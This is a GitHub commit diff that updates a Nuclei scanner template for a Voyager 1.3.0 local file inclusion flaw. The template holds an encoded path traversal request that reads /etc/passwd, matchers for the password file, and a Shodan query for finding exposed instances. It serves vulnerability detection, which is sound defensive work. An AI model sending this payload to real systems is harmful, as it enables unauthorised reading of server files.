Update and rename voyager-path-traversal.yaml to voyager-lfi.yaml

patch-1
Dhiyaneshwaran 2024-03-31 23:11:43 +05:30 committed by GitHub
parent 380c0e3911
commit 869bf27a37
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 17 additions and 11 deletions

View File

@ -1,33 +1,39 @@
id: voyager-path-traversal id: voyager-lfi
info: info:
name: voyager_directory_traversal name: Voyager 1.3.0 - Directory Traversal
author: mammad_rahimzada author: mammad_rahimzada
severity: high severity: high
description: voyager 1.3.0 is vulnerable to local file inclusion. description: |
Voyager 1.3.0 is vulnerable to local file inclusion.
reference: reference:
https://www.exploit-db.com/exploits/47875 - https://www.exploit-db.com/exploits/47875
classification: classification:
cvss-score: 7.5 cvss-score: 7.5
cwe-id: CWE-22 cwe-id: CWE-22
tags: voyager , lfi metadata:
verified: true
max-request: 1
shodan-query: html:"voyager-assets"
tags: voyager,lfi
requests: http:
- method: GET - method: GET
path: path:
- "{{BaseURL}}/admin/voyager-assets?path=.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2Fetc/passwd" - "{{BaseURL}}/admin/voyager-assets?path=.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2Fetc/passwd"
stop-at-first-match: true
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: regex - type: regex
part: body
regex: regex:
- "root:.*:0:0:" - "root:.*:0:0:"
part: body
condition: or - type: word
part: header
words:
- "text/plain"
- type: status - type: status
status: status:
- 200 - 200